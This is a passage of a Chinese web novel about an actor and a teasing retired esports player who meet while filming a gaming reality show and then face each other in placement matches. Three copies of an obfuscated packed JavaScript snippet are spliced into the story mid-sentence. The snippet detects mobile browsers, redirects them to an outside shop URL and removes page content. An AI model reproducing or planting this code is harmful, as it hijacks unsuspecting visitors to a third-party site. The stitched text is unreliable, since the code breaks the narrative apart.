小孙突然感觉自己不被需要了!
尽管这自由是带薪休假旅行还能全额报销,可不被需要的自由算什么自由?!
“哥……”小孙哭丧起一张脸:
“……那,那你千万照顾好自己!别乱吃东西!多喝热水,凉水伤胃!有什么事随时找小李老师给我打电话啊!千万别累着别气着别苦着自己啊哥!”
小孙的姿态像极了一个初次送孩子离家的老父亲,就差抹把眼泪说句“我买几个橘子去你就在此地不要走动”。连盛豫加都有点意外地看着他俩互动。
“……”江南岸默默挪开了视线。
小孙头顶着乌云走了,江南岸的房间也收拾得差不多了。他把节目组给的姓名卡在衣服上贴好,同盛豫加说了一声,想自己先出门在楼内到处转转。
楼内的构造跟小孙说的大差不差,江南岸在三楼转了一圈,大概记住路后,打算从A区楼梯下去到二楼餐厅看看有什么午餐。
三楼A区主要是男寝,但每个寝室之间离得挺远,中间还有茶水间化妆间自习室等其他房间。现在算是午休时间,节目组工作人员都撤走了,楼内挺安静,嘉宾应该都在各自房间里收拾东西,至少江南岸逛这一圈下来还没遇到其他人。
他沿着走廊去找A区楼梯间,走廊两侧摆放的用作装饰的小叶发财树长得不错,江南岸多看了它两眼,路过时用指腹轻轻蹭了一下它的绿叶。
也是那时,他突然听见身后传来一道很轻的门锁开合声。
现在对于江南岸来说算是休息时间,他不太想在非工作时间里进行商务社交,因此本想假装没听到身后动静撒腿快快跑,可几秒后,他突然听见身后人开口唤了一声:
“吊老师?”
江南岸一怔。
他因为这个称呼下意识回过头,就见自己身后不远处,一个年轻男人双手抱臂倚着门框懒懒散散地站着,嘴里还叼了一根棒棒糖。
对上他的视线,男人似乎有一瞬的怔愣。
不过很快,他朝江南岸扬扬眉,略一歪头,唇角勾起的笑意散漫又轻佻。
11. 有烦人精!!
眼前的男人个子很高,目测得有185以上,肩宽腿长,身上套了一件很薄的冲锋衣外套,拉链一直拉到顶,显得人十分松弛。
他本人看起来和直播里差不多,甚至要更好看点,五官立体,瞳色很淡,不知是长相神态还是气质的原因,他身上透着点吊儿郎当的痞气,像一只摇着尾巴的大狐狸。
这世界上会叫他“吊老师”的也就那么一个人,江南岸当然知道他是谁。
他身上贴的名卡也写了他的名字——
“Spring”
“江、南、岸。”
言戒走近几步,目光下移,在江南岸衣摆名卡的位置顿住,放慢语速念着他的名字。
而后,他轻笑一声,抬眸重新望向江南岸的眼睛:
“你就是带我上热搜内小明星?我可因为你挨了不少骂。”
一听到这人的声音,江南岸就仿佛被拉回了那个相当魔幻的日子。那天他睡到快中午才醒来,一打开热搜就看见自己的姓名金光闪闪地挂在热搜榜一,话题里第一条博文就是他当天凌晨即兴为某个混蛋创作的赞美词,而那个混蛋毫不客气把他挂到置顶还配了一句“面刺寡人者处极刑”,让他被各路人马打卡嘲笑至今。
虽然说没注意平台账号确实是他的错,但退一百万步讲,给自己办个赞美大赛还要转发链接按头他参加的这位主办方就没错吗?
就算他没错,那他就不能有点错吗?
江南岸觉得自己已经疯了,他现在一想起这事就恨不能拿根绳把自己吊死,毕竟如果不是发生了这件事,他现在应该坐在家里的落地窗边舒舒服服晒着太阳看书,而不是大老远跑来录真人秀一天二十四小时凹人设还要进行很多没必要的社交。
江南岸深吸一口气,在放飞自我和齐虹发疯间抉择两秒,最终屈辱地低下头躲开言戒的视线:
“对不起,因为我的失误给您带来了困扰,实在很抱歉。”
看他这乖巧样,言戒有些意外地扬扬眉。
“哟?”
他又靠近几步,因为江南岸低着头,他看不清他的表情,所以歪着头凑近了打量他:
“换芯子啦?这说话风格不像你啊吊老师?”
“你在说什么?我什么都不知道。”
“不知道?那我喊吊老师你回什么头?”
言戒此人的存在感实在太强,江南岸退开半步,偏过脸躲过言戒打量的视线。
“怎么了,网友面个基还害羞啦?我给你打的蓝为你抓的人带你点爆的水晶都忘了?”
“不瞒你说我受的打击太大突然失忆了。”江南岸开始胡言乱语,他再次深吸一口气,目光空洞:
“放过我好吗,我实在太内向了……”
他盼着言戒能相信这个拙劣的借口然后失去对他的兴趣结束这个话题让他能顺理成章地离开,但言戒没有,相反,他像是听到了世界上最好笑的笑话:
“说什么呢吊老师?发一串爱心说哥哥好厉害的不是你啊?要跟我一起去火葬场的不是你啊?大庭广众污蔑我说我偷了你心的不是你啊?撩完就跑,这种渣男行为咱可不提倡。”
“你……”
江南岸在心里给齐虹道了个歉,他不是故意崩人设,他实在是尽力了。
毕竟对着眼前这张脸和这张脸上被他理解为“不怀好意”的笑容,他真的忍不住。
反正这人早就知道他什么样并以此为乐,索性不装了。
江南岸在半秒内做出决定,随即抛弃了原本躲闪的姿态,抬手把言戒推回安全距离,抬眸直勾勾望着言戒的眼睛:
“这就是你第一时间把我挂到最顶还要处我极刑的理由?春、大、王?”
“哎——”
言戒站直身子,整个人从头到脚写着三个大字——对味了!
“恢复记忆啦?Spring真乃神医也。”
他扬扬唇,微垂着眼瞧着板起脸的江南岸:
“生气啦?别介呀,当时就是闲的没事儿闹着玩儿,谁夸得爽谁置顶受万人朝拜,就吊老师你一骑绝尘令人望尘莫及。”
言戒语调散漫,糖果和牙齿碰撞发出轻响,微微倾下身和江南岸平视,再开口时声音稍微低了点,嗓音里那点沙哑便更明显些。
他轻笑一声,吊儿郎当:
“那么真诚,我以为你真爱我呢?”
一句话尾音微微扬起,轻佻又暧昧,听起来不该出现在白日亮堂宽敞的走廊,倒合适光线昏暗的夜晚,配着舒缓的旋律和精心调配的鸡尾酒,俗称调情。
这令江南岸对言戒本就不怎么好的印象雪上加霜。
这人平时一定驰骋情场,就像圈里那些不检点的男艺人,一次性能谈十个姑娘。
江南岸扯扯唇角:“我会选择吊死自己以证清白。”
言戒轻挑眉梢:“你给咱俩CP视频的点赞记录可还在呢,老师,别吊了,凑合活着吧,反正跳进黄河都洗不清啦。”
“我……”江南岸更想死了。
他几乎是咬着牙发出的声音:
“那是我手滑……”
“不信。”言戒倚着墙,笑得恶劣:
“唉,后来我也慕名去看过了,剪得确实不错,跟真的似的,尤其两分四十八秒那段雪夜重逢,看过的人都哭了。吊老师是看了几遍被感动了多少次才敢冒着东窗事发前途尽毁的风险含泪按下点赞键,我都不敢想!老师,你真的,你的这份爱让我心疼,真的,小春心里疼,唉,你说这可怎么办,我不搞男同啊,但你这么好看还这么爱我,啧,真让人难做!”
“?”江南岸对此人的不要脸程度叹为观止。
他朝言戒比了个大拇指:
“你说得对,是我卑微暗恋,爱而不得。”
言戒拍拍自己的心口:“而我不忍伤你的心,却在世俗目光与本心中摇摆不定,我恨啊!恨自己的懦弱无能,恨自己无法给你回应!”
“这么恨就自裁谢罪吧。”
“好主意。”言戒眼含笑意:
“天气真好上个吊吧?”
一语双关。
“……你一个人在那演什么呢?啊?S演技大爆发?”
言戒身后突然插进另一道声音,这让两个人都愣了一下。
言戒原本懒懒倚着墙,闻言他站直身子回头看了一眼,江南岸也借这一点空隙看清了他身后说话的人。
那是个二十岁出头的年轻男生,头发染成深蓝色,显得皮肤很白。
“谁一个人演了?我俩剧情都快到殉情了。”
发现有第三个人出现,江南岸都准备跑了,谁知道言戒又一句话把他扯了回来:
“来,介绍一下,吊老师,这是我朋友,也是主播,inBlue小朋友,你俩估计差不多大,叫他蓝就行。小蓝儿,这我新朋友,‘天气真好上个吊吧’,吊老师。”
“我知道,江老师,我看过你演的电影。”
这可能是看见演员的通用开场白吧,江南岸其实也没当真,毕竟这么说的人里十个有八个都只是客套一下。他礼节性跟inBlue握过手,却见inBlue像是突然想起了什么,抬起手臂用胳膊肘怼了一下言戒:
“哦,是你前段时间按头让我去电影院看的那部,还非要检查我票根,《血默之地》是吧?江老师在里边嘎嘎乱杀。”
“?”江南岸默默将目光挪向言戒。
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14073664|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
p>
言戒揽了一下inBlue的肩膀,笑的时候可能是带着点不好意思的成分,这实在难得:
“这种事儿就不用说了哈。”
江南岸在这里遇见言戒并展开一段交流原本就纯属意外,他早就想跑了,现在简直是在见缝插针地找开溜的机会:
“那你们聊?我就先……”
“哎!”
但言戒不给他这个机会。
每当江南岸发现一个缝,他都要出手把它堵死:
“你干嘛去?”
“……”江南岸原本还想在别人面前多少装一装呢,但一看见言戒那张脸就放弃了。
他叹了口气:
“去吃饭,怎样?”
“哎,不急,一个人怎么吃饭啊?遇都遇见了,一会儿一起去呗?”
“谢谢关心,我上肢健全,不需要护工来喂,一个人吃饭也不会吃到鼻子里。”江南岸面无表情。
“怎么这么好玩?我不健全,身边没有吊老师我吃不香。”
“再跟你多说一句话我就要饿死了。”
“哎呦这么可怜,那赶紧的,先给你喂点儿。”
“……什么?”
言戒神神秘秘一扬眉,给他打了个“跟我走”的手势。
内心短暂挣扎过后,江南岸在言戒一步三回头的监督下认命般跟上了他的脚步。
inBlue先进了房间,江南岸走近点就听他在里边吐槽:
“来老春你跟我讲你那三个大箱子里面都是什么?你到底有多少东西要带??”
“那当然都是我的——”
老春拉出三只超大号行李箱中黑色的那只,打开卡扣把它摊开展示在另外二人眼前:
“战备粮。”
然后江南岸就看见面前满满一箱的零食糖果。
他微一挑眉:
“你要靠在《燃烧永恒》开小卖部发家致富?”
“不至于。”言戒轻笑一声,从箱子里翻出一颗巧克力球:
“我可不忍心看吊老师为等我一起吃午饭而含泪饿死,平时喜欢吃什么?自己挑。”
江南岸看看他那一箱子小零嘴,又看看从言戒手里递来的那颗巧克力球:
“不要。”
“真不要?世界上还有人能拒绝巧克力?不信。”
言戒拆开巧克力球的包装纸,在江南岸眼前晃晃。
江南岸瞥了他一眼:
“那今天让你开开眼。”
言戒笑笑,用目光示意他身前的行李箱:
“不吃巧克力爱吃什么啊?我带得可全了,你能想到的零食我都有,就看你能不能翻到。”
江南岸看看箱子里各种各样的零食,薯片、爆米花、棒棒糖、酸砂软糖、巧克力……他再一次意识到了人与人之间的参差——这些东西他平时碰都不碰,言戒却爱到能收集一整箱。
“平时不吃这些。”
“真的假的,不喜欢还是不能吃?”
言戒好像是真的无法相信这世界上居然有人能拒绝小零食:
“你们当明星的是不是特多忌口,那平时能正儿八经吃饭吗?还是说只能靠吸花蜜喝露水维持美貌?”
江南岸从来没见过这么能没话找话的人。
他深吸一口气:
“你知道吗,世界上不用吃饭的只有一种人,说来你跟他还有点缘分。”
“哦?”言戒稍稍向后倚着,满眼笑意。
然后他就看江南岸皮笑肉不笑地把他举了半天的那颗巧克力球连包装纸抢了过去,二话不说把这玩意塞进了他的嘴里,又瞬间冷脸:
“S属性大爆发——Si人。”
12.有冤家路窄。
看得出来节目组对嘉宾的衣食住行十分上心,楼内的餐厅很大很干净,自助餐品从甜口到咸口、从素菜到荤菜、从餐前水果到餐后小甜点一应俱全。江南岸随便挑了点清淡的菜,一碗米饭,再配半根玉米一块南瓜就算是一顿饭了。
在桌边坐下时,他注意到言戒一直盯着他的盘子欲言又止。
“您对我的午餐有什么意见?”
“哪儿敢啊?”
只是想感慨一下明星这活儿真不是普通人能干的罢了,这吃得也忒淡了点,兔子似的。
他看了眼江南岸,随口问:
“哎吊老师,你刚进来的时候在选词那趴选的什么啊?”
江南岸用手指一粒粒地剥着玉米,漫不经心答了个音:“i。”
对面的inBlue闻言抬了下眉:
“所以那就是室友关键词对吧,你最后和谁一起住了?我到现在都不知道这节目到底来了哪些人。”
“盛豫加。”江南岸把剥下来的玉米粒送进口中。
看着他的动作,言戒目光微微下移。
片刻后,他喉结微不可察地一动,挪开了视线,又抬眼看看inBlue,突然问:
“猜我选了什么?”
突然被cue,inBlue警惕地竖起耳朵,他看言戒这死出就知道接下来肯定有节目:“什么?”
言戒笑得高深莫测:“颜值担当。”
inBlue立马拍了筷子:
“得,哄我参赛的时候说得比唱得都好听,结果刚进门就想把我丢了。我等会儿就退赛,您自己一个人玩去吧。”
“别介呀,这不兜兜转转还是咱俩?说明什么?说明节目组和我都特认可你的颜值,我们蓝儿就是帅哈。”
“……所以你宁肯认可我的颜值都不认可我的技术?我是配不上‘峡谷霸主’这四个字是吗,我说言老春咱俩就别搞那些虚的了,你摸着良心说你伸向‘颜值担当’这四个字的手是冲着我去的吗?”
“哎呀,别在意那些细节。兜兜转转再多那都是路上的故事,结局还得是咱俩缘分天定心有灵犀。”
言戒瞥了眼身边剥着玉米悄悄看戏的江南岸:
“但这话又说回来,主要还是没想到吊老师会选i,一出手就挑了那唯一一个跟我八竿子打不着的词儿,这喷不了,这是真没缘分,选个别的还说不定还真能让我蹭上一回。”
“?”江南岸没想到这瓜还能吃到自己身上,唇角的笑还没出现就消失了。
正好那时盛豫加进餐厅看见了他,江南岸跟他打了个招呼,端起盘子投奔室友前只给言戒留下一句:
“那我真是逃过一劫。”
inBlue闻言轻笑一声,等江南岸稍微走远些才问:
“你说你老逗他干嘛?瞧你欠的。”
言戒瞥了眼江南岸离开的背影,看起来心情很不错:
“多好玩儿啊?”
inBlue故意叹口气,意味不明地摇摇头。
下午的录制地点在园区内的17号摄影棚,江南岸和盛豫加过去时,嘉宾们已经到得差不多了。
17号棚面积挺大,一面是台阶式的座位,一面是占了整面墙的LED屏幕,里面正在循环播放《燃烧永恒》的概念宣传片。
江南岸和盛豫加平时都不太爱社交,并不认识太多的圈内人,比如现在棚内的人有一大半他俩都叫不上名字。跟嘉宾们打过招呼握过手后,二人对视一眼,十分默契地在台阶上找了个靠角落的位置并肩坐下。
《燃烧永恒》的节目录制分为两个阶段,分别是训练阶段和比赛阶段,训练期开始前节目组将会以三十位选手的纸面实力和实战表现为标准,把他们分成A、B、C三个班级,现在江南岸他们坐在这里便是在准备即将开始的摸底赛。
介绍完节目大致流程和ABC三班的教练阵容后,《燃烧永恒》的分班摸底赛正式开始。
摸底赛分为1V1和5V5两个部分,1V1Solo战时每位选手可以在五分路赛道中选择一个自己最擅长的英雄应战,对战考核官则是从烈焰圣杯职业战队中挑选出来的各分路职业选手。
节目组请来的嘉宾游戏实力参差不齐,强的有言戒这种世界级打野,还有inBlue这样的高段位技术主播,弱的却有段位榜最底的英勇黄铜甚至坚韧黑铁玩家。对于这里绝大部分选手来说,要想在Solo战打赢对面的职业选手几乎是不可能的事,节目组也知道自己找来的对手强得太超过,所以这一环节的重点其实是考察各位选手对英雄的理解和操作的上限。
三十场分路Solo战结束,只有打野赛道的言戒和一位上过国服前二十的神秘路人王取得了胜利,其他选手都躺在了峡谷1V1赛场里,其中绝大部分选手都在考核里被对手当猴子遛,只有比较出挑的几位能称得上一句“和考核官打得有来有回”。
Solo战后休息半小时便是三场5V5团队战,BO1赛制,由教练团根据各选手纸面实力和刚才在Solo赛中的表现分配红蓝双方选手阵容。
第一场对战中,蓝方第一个被教练挑出来的选手就是言戒,节目组请来的解说A看见这个选择似乎一点也不意外:
“哦?Spring!这位选手想必大家都不陌生了,有句话怎么说来着?虽然哥早已离开江湖,但江湖中到处都是哥的传说!我们都知道Spring曾经被称作‘传奇打野’,也是我们节目中受到关注比较多的一位选手哈!他刚才在Solo战中的操作就十分亮眼,让我们期待他稍后在团队战中的表现!”
盛豫加在大厅里听着解说的声音,微微侧过身问身边的江南岸:
“这个人很强?”
江南岸原本正抬头望着摄影棚的天花板发呆,闻言客观地点点头。
盛豫加想了想,道:
“希望不要被分到他对面。”
“你还好,你玩上单。”江南岸一边说话,一边漫不经心地听着解说公布第一场对战的选手名单:
“跟他打的话,中单会惨一点。”
“为什么?”
“他爱抓中,还很喜欢踩在中单身上跳舞。”
“哦,那确实……”盛豫加顿了顿:
“你不是玩中单的吗,你万一……”
“我……”江南岸一挑眉,刚想说什么,就听见解说动人的声音在摄影棚内响起:
“红方中单——江南岸!”
“……”江南岸嘴里含着没说完的半句话,下一秒就迎接了摄影棚内其他选手齐刷刷投来的视线。
停顿两秒,他默默闭上嘴巴站起身,临走时扫了眼同样沉默的盛豫加,目光中或许有恨。
解说A看热闹不嫌事大:“哇,团队赛一
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14081018|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
上来就给我们看这种阵容吗?这是我们可以看的吗?”
解说B:“江南岸也是一位身上背负着超多期待的选手,我们都知道他很少在剧组之外的场合露面,这次是他的综艺首秀,不知我们演艺圈的高岭之花现在站在烈焰圣杯的赛场上,又会碰撞出怎样的火花呢?”
第一组上阵选手确认完毕,工作人员带着十个人离开17号摄影棚走去赛场。
路上,言戒笑着凑过来:
“哟,吊老师,也是让咱俩对上了?”
他“啧啧”两声,满脸遗憾:
“可惜了,我还想跟你一边儿呢,这让我怎么好意思对你下手?”
江南岸早已看穿了他的表演。
他打量他一眼,凉凉道:
“我怎么看你这么高兴?”
“我觉着咱俩之间指定有点误会,你把我当成什么人了?”
言戒微微倾身,小声打探:
“一会儿玩塞壬吗老师?”
江南岸面无表情:“上一次在你对面玩塞壬,你杀了我十六次,其中有七次越塔强杀,三次草丛埋伏,六次绕后切C,这次又想怎么羞辱我?”
“哟,记这么清楚呢?”
言戒轻笑一声:
“怎么就羞辱了?多难听啊。这回肯定不这样了,信我。”
江南岸侧眸看了他一会儿,似乎试图透过他的笑容瞧瞧这话里几分真几分假。
言戒见状,立马举起三根手指做发誓状:
“真的,这次再针对你塞壬一次,我春某人自裁谢罪,死法你选。”
顿了顿,他弯唇笑笑:
“上吊也成。”
江南岸有那么一瞬间觉得这话好像哪里有漏洞,但他没空细想。
他只冷嗤一声,以示对言戒这番花言巧语的不屑。
工作人员带着他们进入赛场,江南岸走入对战席,拉开电竞椅坐下,在电脑前戴上了耳机和心率监测手环。
工作人员调试好镜头和设备后,Ban&Pick正式开始。因为是摸底赛,双方选手并没有教练帮做BP,BP和战术都得靠他们自己临场发挥。
江南岸同队的打野是刚才唯二赢下Solo赛的那位路人王,作为在座段位最高的选手,他自觉承担起了指挥重任,在麦里询问:
“各位都擅长什么英雄?中单玩塞壬吗?刚看你Solo赛打得挺好,可以的话这局BP围绕你做。”
能拿塞壬的话当然最好,但对面打野是言戒,江南岸知道他爱抓中那德行,所以更倾向于拿个自保能力强一点的英雄。但如果BP比较舒服的话拿塞壬也不是不行,加上言戒说不定也没他想的那么恶劣,他刚认真发的那个毒誓或许……
江南岸一个念头还没出现完整就被生生掐灭了。
因为下一秒,熟悉的海妖头像水灵灵地出现在了蓝方第一个Ban位上。
【蓝色方禁用英雄:塞壬】
“?”江南岸抬眼看向对面打野位。
言戒估计就等着看他反应呢,对上他冰冷的视线,这人快乐得像个孩子。
他果然就是这么恶劣!
江南岸深吸一口气,几分钟前听到的誓言犹在耳畔:“这次再针对你塞壬一次……”
早该知道从这人嘴里出来的话一个字都不能信。
他真是对姓言的过敏。
13.有人膝盖中箭。
团队战第一场,教练挑出来的红蓝双方对战选手单看纸面实力似乎挺有看头,蓝方阵容挺强,红方这边也不弱,比如那位打野路人王蔡征,还有下路选手inBlue。
那边,蓝色方第一个Ban位一亮,江南岸就听麦里的inBlue轻笑一声:“这货……真无语。”
打野蔡征看着Ban位一头雾水:“Ban塞壬?什么意思?”
解说A也很懵:“一Ban塞壬?塞壬这个英雄,说实话强归强但短板很明显,在对局中是比较好处理的,蓝色方这一Ban的选择还挺小众,怎么说,应该是选择给我们江南岸老师一手尊重啊,因为我们大家都看见了江南岸在上阶段塞壬Solo战中的表现还是十分出色的。”
“塞壬没了,中单还会玩什么?”蔡征换了策略,前三个Ban位一个给了Spring的招牌英雄阿尔斯,另外两个则给了当前版本比较强势的英雄。己方选将前,他先问了江南岸的想法。
毕竟普通玩家的英雄池没那么深,有一手绝活已经很难得了,作为临时指挥,他需要优先考虑队友的情况。
江南岸微微叹了口气:“比赛常出的那些中单我基本都练过,你看阵容选,我都行。”
有他这句话,蔡征的压力明显小了很多,选将时便把前两个位置优先给了队内英雄池相对较浅的上单和辅助,最后在三楼给江南岸锁了一手雪女。
雪女在路人局挺常见,就算在职业赛场中登场率也不低,因为这个英雄机制很好,浑身带控,进可突进切C退可自保跑路,十分克制塞壬阿尔斯这样的刺客英雄。
蔡征为红色方临时制定的战术是尽量围绕下路打四保一。虽说都是顶级打野玩家,但他和Spring擅长的方向并不一样,Spring喜欢打野核,当年打职业的时候还好,但退役之后打多了路人局就渐渐习惯了一带四,很多对局高光都是纯靠手法硬着头皮乱杀。而蔡征更擅长的是运营,队伍里没控补控没坦补坦,纯纯团队工具人,很会以一己之力把阵容优势最大化。
单从纸面实力来看,红蓝两队旗鼓相当,谁输谁赢一时还真不太好预测。
对局正式开始,江南岸正常上线补兵,和他对线的选手是最近某平台很火的娱乐主播潇洒哥。
潇洒哥虽然人气很高,但本质还是个娱乐主播,自己的段位也就在大师左右。这把游戏中他使用的英雄是蛋蛋,蛋蛋在线上的压制力并不强,选出来就是可中可辅的万金油,这样的英雄和前期相对弱势的雪女凑在一起,中路的对线发育就变得有些枯燥。连导播也没怎么关注中路,把大半镜头都给了更有看点的下路双人组。
“嘶,下路四个人打得很激烈啊,我平时也喜欢看看直播嘛,inBlue选手的个人风格就很猛很强势,在线上的压制力很强,但让我意外的是在这种情况下他居然也没占到太大便宜,现在就看谁的支援能先到位……诶?中路打起来了??”
解说A惊讶一句之后,导播立马把镜头切回了中路:
“雪女大招暴风雪短暂剥夺了蛋蛋的视野,E技能风控强制位移,W技能冰封牢笼已经在蛋蛋的落地点等候,这一套控制下来蛋蛋简直没有一点还手之力啊!可惜的是雪女前期伤害还是差一点,蛋蛋交闪跑路,雪女还追吗?感觉这个血量有点机会啊!雪女要追!但是Spring的娜娜比已经赶到了中路草丛!”
转播画面里,雪女追着丝血蛋蛋想收下这个人头,可前方原本闷头跑路的蛋蛋突然转身放了一波技能。说时迟那时快,雪女立马用Q技能将自身化为虚无状态!
雪女的Q技能可以维持1.25秒的虚无状态,期间无法被技能选中也无法受到伤害和控制,虚无状态结束后雪女可向任意方向位移一段距离,属于一个绝佳的突进和保命技能。
在江南岸的视野里,他眼前只有一个残血蛋蛋,不利用Q技能突进追击简直天理难容,但在其他人的上帝视角中,蓝方打野Spring已经在草里等候多时,蛋蛋的技能只是勾引加逼出雪女的保命技能,等雪女落地,打野立马就会惊喜亮相,不管这波是雪女被收还是和蛋蛋一换一,对于红色方来说都是亏的。
解说也以为雪女注定要死在娜娜比的猫爪下,语气已经缓了下来:“哦?雪女这个Q放得很细节啊,虚无躲掉蛋蛋的技能,看样子应该是还想追,但……等等?雪女没追?!雪女退了!娜娜比预判的控制技能放空了!他是知道Spring在草里蹲他吗?但Spring不打算放过江南岸,一直在用技能消耗!雪女能跑吗?雪女残血进塔但娜娜比手里还有大招!这一个大招位移越塔强杀的话雪女是一点活路都不会有的,我们也知道Spring是个很爱极限操作的选手,他有想法吗?!”
江南岸看见蛋蛋突然回头就知道事情不对,毕竟蛋蛋知道他手里还有Q技能,在这种情况下回头放技能不仅打不出半点伤害还会被雪女位移突脸直接暴毙,所以如果不是对面中单突然上头摆烂,就只剩了故意逼他保命技能这一种可能性,那意味着蛋蛋的队友此刻很可能就在旁边的草丛里。
江南岸或许不了解对面中单潇洒哥,但他还不了解言戒吗?
这人有多爱抓中,他最有发言权。
果然,他这边Q刚落地,那边地面上就多出了一块娜娜比的技能烙印。这技能释放时间算得刚刚好,可想而知,如果他刚才选择继续往前追,现在这个烙印就不是落在地上而是落在他的身上,那么几秒后他就会变成一具冷冰冰的尸体。
江南岸在言戒现身之后立马回撤,可娜娜比不断用技能消耗他血量,一副要跟他不死不休的架势。
言戒这个人玩野核很喜欢越塔强杀极限操作,因为他对自己的操作有着绝对的自信。所以江南岸就算已经跑到了防御塔下也不敢觉得自己安全了,何况他知道言戒手里还有大招。可就在他以为言戒要顶着塔伤进来秀翻他然后像曾经他经历过的那样跳舞求夸一条龙时,追在他身后的娜娜比突然停了——
他止步防御塔外,半秒后转头钻进了野区。
解说A松了口气:“Spring看了雪女一眼,没有选择越塔。有点意外,这完全不是Spring的风格啊?”
解说B理智分析:“这波如果要越塔其实风险还挺大的,毕竟蔡征的泰山还没有露头,雪女的控制也好了,强行越塔很容易在塔下暴毙
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|14093257|149405||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。毕竟是比赛,Spring作为指挥加打野想稳健一点也情有可原。”
中路一波有惊无险,这局比赛的一血最终在下路爆发,言戒配合自家下辅越塔收掉了inBlue和辅助的人头,同时蔡征在上路收掉了敌方上单。
向来看眼中路就得摸点血走的Spring这次改了路子住在了下路,出其不意抓了inBlue七次,解说知道他俩私底下是很好的朋友,笑称这是“Spring和inBlue的相爱相杀”。
后来,红色方输掉一波团战,让了中路一塔和龙,红色方处于劣势,但蔡征运营思路十分清晰,硬是把比赛拖到了大后期,最终针对蓝色方相对短板的上单和中单抓了一波掉点,赢下一场团战后拿下了比赛胜利。
回摄影棚的路上,言戒看着江南岸,说话时语气带着点笑意:
“可以啊吊老师,真厉害。”
江南岸点点头,下意识回了句:
“谢谢,你打得也很好。”
inBlue不知道从哪蹿出来,抬手恶狠狠勾住言戒的脖子,冷笑一声:
“这就是你住在下路的理由?我人头上是有追杀令吗你不摸我点血就心痒痒?”
“嗐。”言戒想到这事就想笑,但他努力克制住了,一本正经教育道:
“年轻人,动不动就上头找架打是什么坏毛病?不知道峡谷危机四伏随时会有坏刺客出来要你珍贵的性命吗?孩子,我这是作为长辈、作为电竞老前辈给你的磨炼,身为一名优秀的AD,你要学会沉稳,学会抗压,你看,你被我抓死几次后不就学乖了?对线和团战变得那么小心那么谨慎,最终!功夫不负有心人,本局游戏的胜利被你牢牢握在了手中!啧,哥真心为你高兴,你长大了,真的。”
inBlue翻了个大大的白眼:“滚!”
言戒抬手撸了把他的头发,又笑嘻嘻凑到江南岸身边,丝滑衔接了前面的话题:
“具体哪打得好?好在哪里?展开说说?”
“?”江南岸原本正走神看着周围的布置,听见这话还愣了一下,等反应过来这人在说什么,他心里只剩下了一个想法,而他大大方方说出了口:
“你好不要脸。”
言戒乐得不行:“脸是什么好东西?哪有吊老师的认可重要?来,别害羞,我不会膨胀的,来大大方方说两句。”
“……”
他看看言戒,又看看inBlue,最后看看扛着机器走过来的摄影老师。
再怼好像不太好,沉默又没有礼貌,那他该说什么?
好在你没怎么抓中让我安全发育到后期?
有点像得了便宜还卖乖。
好在你抓我方ADC时那几波极限操作很秀?
是不是对inBlue有一点残忍了。
江南岸沉默片刻,想想言戒刚才跟inBlue的闲聊,头顶的小灯泡突然亮了一下。
“春神都一把年纪了还能驰骋召唤师峡谷,为年轻人指点迷津创造机会……”
江南岸略一停顿,觉得这理由真是妙哉,于是笃定地点点头,确信道:
“特别厉害!真的。”
14.有人差点露馅。
听见那句扎心窝子的“一把年纪”,inBlue喝着水差点笑喷,低着头猛砸言戒后背。
言戒自己也没绷住,他笑了两声,装模作样地伸伸手臂扭扭腰:
“哎呀,确实,好歹二十九了,电竞老人家,感觉反应速度和操作都跟不上你们年轻人了。啧,这在椅子上多坐一会儿,感觉腰也酸了腿也疼了肩膀也不得劲儿了,来吊老师,快快弘扬尊老爱幼的传统美德,帮老人家捶捶肩。”
江南岸点点头,敷衍地拍拍他的肩膀,一本正经鼓励道:
“加油!年龄不是问题,只要心里有火,眼里有光,总有一天,拍死前浪的将不再是后浪,而是春神的第二春!”
“好!老师说得好!”言戒带头鼓掌。
镜头后的摄影老师痛苦憋笑,在无人理解的角落又颤颤巍巍给了个大特写。
-
三场5V5团队战全部打完之后,今天的拍摄内容就差不多结束了,只等后面教练团出来公布分班结果。
根据节目规则,三十位选手将被分为ABC三个班,每班十人,分班标准为教练团观赛后评估出的选手真实水平,能进入A班的选手游戏段位基本都在大师宗师及以上,B班标准则是接近中游的普通玩家,C班就约等于游戏小白,选手段位几乎都在黄铜黑铁打转。
江南岸的游戏段位原本就不低,在两场比赛里的表现也还算亮眼,因此毫不意外地被教练组分到了A班,同在A班的熟人还有言戒inBlue和蔡征,盛豫加则被分去了B班。
公布分班结果、发好班服后就差不多到了晚餐时间,短暂休息后,晚上还要拍班服公式照、录制选手后采。在这之前江南岸被妆发老师拉去化妆间补妆做造型,他早就习惯了这种任人摆弄的环节,妆发老师给他弄头发时,他就乖乖坐在位置上一动不动闭目养神。
化妆间内没多少人,很安静,只有妆发老师手机里播放的一曲R&B唱着舒缓的旋律。
